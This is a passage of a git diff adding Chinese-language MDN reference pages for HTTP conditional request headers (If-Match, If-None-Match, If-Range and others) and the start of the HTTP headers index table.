<td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">If-Match: <etag_value> +If-Match: <etag_value>, <etag_value>, … +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><etag_value></dt> + <dd>唯一地表示一份资源的实体标签。标签是由 ASCII 字符组成的字符串,用双引号括起来(如 "675af34563dc-tr34")。前面可以加上 W/ 前缀表示应该采用弱比较算法。</dd> + <dt><code>*</code></dt> + <dd>星号是一个特殊值,可以指代任意资源。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" + +If-Match: W/"67ab43", "54ed21", "7892dd" + +If-Match: * +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "If-Match", "3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Match")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("416")}}<code> Range Not Satisfiable</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/if-modified-since/index.html b/files/zh-cn/web/http/headers/if-modified-since/index.html new file mode 100644 index 0000000000..dd7e213358 --- /dev/null +++ b/files/zh-cn/web/http/headers/if-modified-since/index.html @@ -0,0 +1,92 @@ +--- +title: If-Modified-Since +slug: Web/HTTP/Headers/If-Modified-Since +tags: + - 条件请求 + - 请求头 +translation_of: Web/HTTP/Headers/If-Modified-Since +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>If-Modified-Since</code></strong> 是一个条件式请求首部,服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 {{HTTPStatus("200")}} 。如果请求的资源从那时起未经修改,那么返回一个不带有消息主体的 {{HTTPStatus("304")}} 响应,而在 {{HTTPHeader("Last-Modified")}} 首部中会带有上次修改时间。 不同于 {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> 只可以用在 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 请求中。</p> + +<p>当与 {{HTTPHeader("If-None-Match")}} 一同出现时,它(<strong><code>If-Modified-Since</code></strong>)会被忽略掉,除非服务器不支持 <code>If-None-Match</code>。</p> + +<p>最常见的应用场景是来更新没有特定 {{HTTPHeader("ETag")}} 标签的缓存实体。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">If-Modified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><day-name></dt> + <dd> "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一 (区分大小写)。</dd> + <dt><day></dt> + <dd>两位数字表示的天数, 例如"04" or "23"。</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。</dd> + <dt><year></dt> + <dd>4位数字表示的年份, 例如 "1990" 或者"2016"。</dd> + <dt><hour></dt> + <dd>两位数字表示的小时数, 例如 "09" 或者 "23"。</dd> + <dt><minute></dt> + <dd>两位数字表示的分钟数,例如"04" 或者 "59"。</dd> + <dt><second></dt> + <dd>两位数字表示的秒数,例如 "04" 或者 "59"。</dd> + <dt><code>GMT</code></dt> + <dd> + <p>国际标准时间。HTTP中的时间均用国际标准时间表示,从来不使用当地时间。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Modified-Since")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/if-none-match/index.html b/files/zh-cn/web/http/headers/if-none-match/index.html new file mode 100644 index 0000000000..d12d097096 --- /dev/null +++ b/files/zh-cn/web/http/headers/if-none-match/index.html @@ -0,0 +1,93 @@ +--- +title: If-None-Match +slug: Web/HTTP/Headers/If-None-Match +tags: + - 弱比较算法 + - 条件请求 +translation_of: Web/HTTP/Headers/If-None-Match +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>If-None-Match</code></strong> 是一个条件式请求首部。对于 GET{{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 请求方法来说,当且仅当服务器上没有任何资源的 {{HTTPHeader("ETag")}} 属性值与这个首部中列出的相匹配的时候,服务器端会才返回所请求的资源,响应码为 {{HTTPStatus("200")}} 。对于其他方法来说,当且仅当最终确认没有已存在的资源的 {{HTTPHeader("ETag")}} 属性值与这个首部中所列出的相匹配的时候,才会对请求进行相应的处理。</p> + +<p>对于 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 方法来说,当验证失败的时候,服务器端必须返回响应码 304 (Not Modified,未改变)。对于能够引发服务器状态改变的方法,则返回 412 (Precondition Failed,前置条件失败)。需要注意的是,服务器端在生成状态码为 304 的响应的时候,必须同时生成以下会存在于对应的 200 响应中的首部:Cache-Control、Content-Location、Date、ETag、Expires 和 Vary 。</p> + +<p>{{HTTPHeader("ETag")}} 属性之间的比较采用的是<strong>弱比较算法</strong>,即两个文件除了每个比特都相同外,内容一致也可以认为是相同的。例如,如果两个页面仅仅在页脚的生成时间有所不同,就可以认为二者是相同的。</p> + +<p>当与 {{HTTPHeader("If-Modified-Since")}} 一同使用的时候,If-None-Match 优先级更高(假如服务器支持的话)。</p> + +<p>以下是两个常见的应用场景:</p> + +<ul> + <li>采用 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法,来更新拥有特定的{{HTTPHeader("ETag")}} 属性值的缓存。</li> + <li>采用其他方法,尤其是 {{HTTPMethod("PUT")}},将 <code>If-None-Match</code> used 的值设置为 * ,用来生成事先并不知道是否存在的文件,可以确保先前并没有进行过类似的上传操作,防止之前操作数据的丢失。这个问题属于<a href="https://www.w3.org/1999/04/Editing/#3.1">更新丢失问题</a>的一种。</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">If-None-Match: <etag_value> +If-None-Match: <etag_value>, <etag_value>, … +If-None-Match: *</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><etag_value></dt> + <dd>唯一地表示所请求资源的实体标签。形式是采用双引号括起来的由 ASCII 字符串(如"675af34563dc-tr34"),有可能包含一个 W/ 前缀,来提示应该采用弱比较算法(这个是画蛇添足,因为 If-None-Match 用且仅用这一算法)。</dd> + <dt><code>*</code></dt> + <dd>星号是一个特殊值,可以代表任意资源。它只用在进行资源上传时,通常是采用 {{HTTPMethod("PUT")}} 方法,来检测拥有相同识别ID的资源是否已经上传过了。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" + +If-None-Match: W/"67ab43", "54ed21", "7892dd" + +If-None-Match: * +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "If-None-Match", "3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-None-Match")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/if-range/index.html b/files/zh-cn/web/http/headers/if-range/index.html new file mode 100644 index 0000000000..e272b819fb --- /dev/null +++ b/files/zh-cn/web/http/headers/if-range/index.html @@ -0,0 +1,99 @@ +--- +title: If-Range +slug: Web/HTTP/Headers/If-Range +translation_of: Web/HTTP/Headers/If-Range +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>If-Range</code></strong> HTTP 请求头字段用来使得 <strong><code>Range</code></strong> 头字段在一定条件下起作用:当字段值中的条件得到满足时,<strong><code>Range</code></strong> 头字段才会起作用,同时服务器回复{{HTTPStatus("206")}} <font face="Consolas, Liberation Mono, Courier, monospace">部分内容状态码,</font>以及<strong><code>Range</code></strong> 头字段请求的相应部分;如果字段值中的条件没有得到满足,服务器将会返回 {{HTTPStatus("200")}} <code>OK</code> 状态码,并返回完整的请求资源。</p> + +<p>字段值中既可以用 {{HTTPHeader("Last-Modified")}} 时间值用作验证,也可以用{{HTTPHeader("ETag")}}标记作为验证,但不能将两者同时使用。</p> + +<p><strong><code>If-Range</code></strong> 头字段通常用于断点续传的下载过程中,用来自从上次中断后,确保下载的资源没有发生改变。</p> + +<p> </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">If-Range: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +If-Range: <etag></pre> + +<h2 id="说明">说明</h2> + +<dl> + <dt><etag></dt> + <dd>一个资源标签(entity tag)代表着所请求的资源。它是由被双引号包围的ACSII 编码的字符串组成的(例如<code>"675af34563dc-tr34"</code>)。当应用弱匹配算法时,E-Tag会有一个 <code>W/</code> 前缀。</dd> +</dl> + +<dl> + <dt><day-name></dt> + <dd><code>"Mon"</code>,<code>"Tue"</code>,<code>"Wed"</code>,<code>"Thu"</code>,<code>"Fri"</code>,<code>"Sat"</code>或者<code>"Sun"</code>当中的一个(大小写敏感)。</dd> + <dt><day></dt> + <dd>两位数字,例如<code>"04"或者"23"</code>。</dd> + <dt><month></dt> + <dd><code>"Jan"</code>,<code>"Feb","Mar"</code>,<code>"Apr"</code>,<code>"May"</code>,<code>"Jun"</code>,<code>"Jul"</code>,<code>"Aug"</code>,<code>"Sep"</code>,<code>"Oct"</code>,<code>"Nov"</code>,或者<code>"Dec"</code>中的一个(大小写敏感)。</dd> + <dt><year></dt> + <dd>四位数字,例如<code>"1990"或者"2016"。</code></dd> + <dt><hour></dt> + <dd>两位数字,例如<code>"09"或者"23"</code>。</dd> + <dt><minute></dt> + <dd>两位数字,例如<code>"04"或者"59"</code>。</dd> + <dt><second></dt> + <dd>两位数字,例如<code>"04"或者"59"</code>。</dd> + <dt><code>GMT</code></dt> + <dd> + <p>格林威治标准时间。HTTP 协议的日期总是要使用GMT,而不是当地时间。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "If-Range", "3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/if-range")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("Last-Modified")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("206")}}<code> Partial Content</code></li> + <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">HTTP Conditional Requests</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/if-unmodified-since/index.html b/files/zh-cn/web/http/headers/if-unmodified-since/index.html new file mode 100644 index 0000000000..13655c04db --- /dev/null +++ b/files/zh-cn/web/http/headers/if-unmodified-since/index.html @@ -0,0 +1,96 @@ +--- +title: If-Unmodified-Since +slug: Web/HTTP/Headers/If-Unmodified-Since +tags: + - HTTP + - 条件请求 + - 请求首部 +translation_of: Web/HTTP/Headers/If-Unmodified-Since +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议中的 <strong><code>If-Unmodified-Since</code></strong> 消息头用于请求之中,使得当前请求成为条件式请求:只有当资源在指定的时间之后没有进行过修改的情况下,服务器才会返回请求的资源,或是接受 {{HTTPMethod("POST")}} 或其他 non-{{Glossary("safe")}} 方法的请求。如果所请求的资源在指定的时间之后发生了修改,那么会返回 {{HTTPStatus("412")}} (Precondition Failed) 错误。</p> + +<p>常见的应用场景有两种:</p> + +<ul> + <li>与 non-{{Glossary("safe")}} 方法如 {{HTTPMethod("POST")}} 搭配使用,可以用来<a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">优化并发控制</a>,例如在某些wiki应用中的做法:假如在原始副本获取之后,服务器上所存储的文档已经被修改,那么对其作出的编辑会被拒绝提交。</li> + <li>与含有 {{HTTPHeader("If-Range")}} 消息头的范围请求搭配使用,用来确保新的请求片段来自于未经修改的文档。</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">If-Unmodified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><day-name></dt> + <dd> "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一 (区分大小写)。</dd> + <dt><day></dt> + <dd>两位数字表示的天数, 例如"04" or "23"。</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。</dd> + <dt><year></dt> + <dd>4位数字表示的年份, 例如 "1990" 或者"2016"。</dd> + <dt><hour></dt> + <dd>两位数字表示的小时数, 例如 "09" 或者 "23"。</dd> + <dt><minute></dt> + <dd>两位数字表示的分钟数,例如"04" 或者 "59"。</dd> + <dt><second></dt> + <dd>两位数字表示的秒数,例如 "04" 或者 "59"。</dd> + <dt><code>GMT</code></dt> + <dd> + <p>国际标准时间。HTTP中的时间均用国际标准时间表示,从来不使用当地时间。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "If-Unmodified-Since", "3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Unmodified-Since")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("If-Unmodified-since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/index.html b/files/zh-cn/web/http/headers/index.html new file mode 100644 index 0000000000..46b0f9df66 --- /dev/null +++ b/files/zh-cn/web/http/headers/index.html @@ -0,0 +1,550 @@ +--- +title: HTTP Headers +slug: Web/HTTP/Headers +tags: + - HTTP Headers +translation_of: Web/HTTP/Headers +--- +<p>{{ HTTPSidebar }}</p> + +<p><strong>HTTP 消息头</strong>允许客户端和服务器通过<strong> request</strong>和<strong> response</strong>传递附加信息。一个请求头由名称(不区分大小写)后跟一个冒号“:”,冒号后跟具体的值(不带换行符)组成。该值前面的引导空白会被忽略。</p> + +<p>自定专用消息头可通过'X-' 前缀来添加;但是这种用法被IETF在2012年6月发布的 <a href="https://tools.ietf.org/html/rfc6648">RFC5548</a> 中明确弃用,原因是其会在非标准字段成为标准时造成不便;其他的消息头在 <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html" title="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA 注册表</a> 中列出, 其原始内容在 <a class="external" href="http://tools.ietf.org/html/rfc4229" title="http://tools.ietf.org/html/rfc4229">RFC 4229</a> 中定义。 此外,IANA 还维护着<a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html" title="http://www.iana.org/assignments/message-headers/prov-headers.html">被提议的新HTTP 消息头注册表</a>.</p> + +<p>根据不同上下文,可将消息头分为:</p> + +<ul> + <li>{{Glossary("General header", "General headers")}}: 同时适用于请求和响应消息,但与最终消息主体中传输的数据无关的消息头。</li> + <li>{{Glossary("Request header", "Request headers")}}: 包含更多有关要获取的资源或客户端本身信息的消息头。</li> + <li>{{Glossary("Response header", "Response headers")}}: 包含有关响应的补充信息,如其位置或服务器本身(名称和版本等)的消息头。</li> + <li>{{Glossary("Entity header", "Entity headers")}}: 包含有关实体主体的更多信息,比如主体长(Content-Length)度或其MIME类型。</li> +</ul> + +<p>消息头也可以根据代理对其的处理方式分为:</p> + +<p><strong>端到端消息头</strong></p> + +<p>这类消息头必须被传输到最终的消息接收者,也即,请求的服务器或响应的客户端。中间的代理服务器必须转发未经修改的端到端消息头,并且必须缓存它们。</p> + +<p><strong>逐跳消息头</strong></p> + +<p>这类消息头仅对单次传输连接有意义,不能通过代理或缓存进行重新转发。这些消息头包括 {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} 及 {{ httpheader("Upgrade") }}。注意,只能使用 {{ httpheader("Connection") }} 来设置逐跳一般头。</p> + +<p>左侧导航栏提供了按字母顺序排列的列表。以下列清单概括了消息头及其用途:</p> + +<table class="standard-table" style="width: 100%;"> + <tbody> + <tr> + <th>消息头</th> + <th>描述</th> + <th>更多信息</th> + <th>标准</th> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept.3a_header">Accept</a></code></td> + <td>用户代理期望的MIME 类型列表</td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>HTTP/1.1</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-CH_header">Accept-CH</a></code> + <p>{{non-standard_inline}}</p> + </td> + <td>列出配置数据,服务器可据此来选择适当的响应。</td> + <td><a href="http://igrigorik.github.io/http-client-hints">HTTP Client Hints</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Charset.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Charset.3a_header">Accept-Charset</a></code></td> + <td>列出用户代理支持的字符集。</td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>HTTP/1.1</td> + </tr> + <tr> + <td><code>Accept-Features</code></td> + <td></td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>RFC 2295, §8.2</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Encoding.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Encoding.3a_header">Accept-Encoding</a></code></td> + <td>列出用户代理支持的压缩方法。</td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>HTTP/1.1</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Language.3a_header">Accept-Language</a></code></td> + <td>列出用户代理期望的页面语言。</td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="https://developer.mozilla.org/en/Content_negotiation">HTTP Content Negotiation</a></td> + <td>HTTP/1.1</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Accept-Ranges" title="en/Accept-Ranges">Accept-Ranges</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Credentials" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Origin" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Origin">Access-Control-Allow-Origin</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Methods" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Methods">Access-Control-Allow-Methods</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Headers" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Headers">Access-Control-Allow-Headers</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Max-Age" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Max-Age">Access-Control-Max-Age</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Expose-Header" title="en/HTTP access control#Access-Control-Expose-Header">Access-Control-Expose-Headers</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("2") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Request-Method" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Request-Method">Access-Control-Request-Method</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Request-Headers" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Request-Headers">Access-Control-Request-Headers</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Age" title="en/Age">Age</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Allow" title="en/Allow">Allow</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code>Alternates</code></td> + <td></td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>RFC 2295, §8.3</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Authorization" title="en/Authorization">Authorization</a></code></td> + <td>包含用服务器验证用户代理的凭证</td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Cache-Control" title="en/Cache-Control">Cache-Control</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Connection" title="en/Connection">Connection</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding" title="en/Content-Encoding">Content-Encoding</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Language" title="en/Content-Language">Content-Language</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a 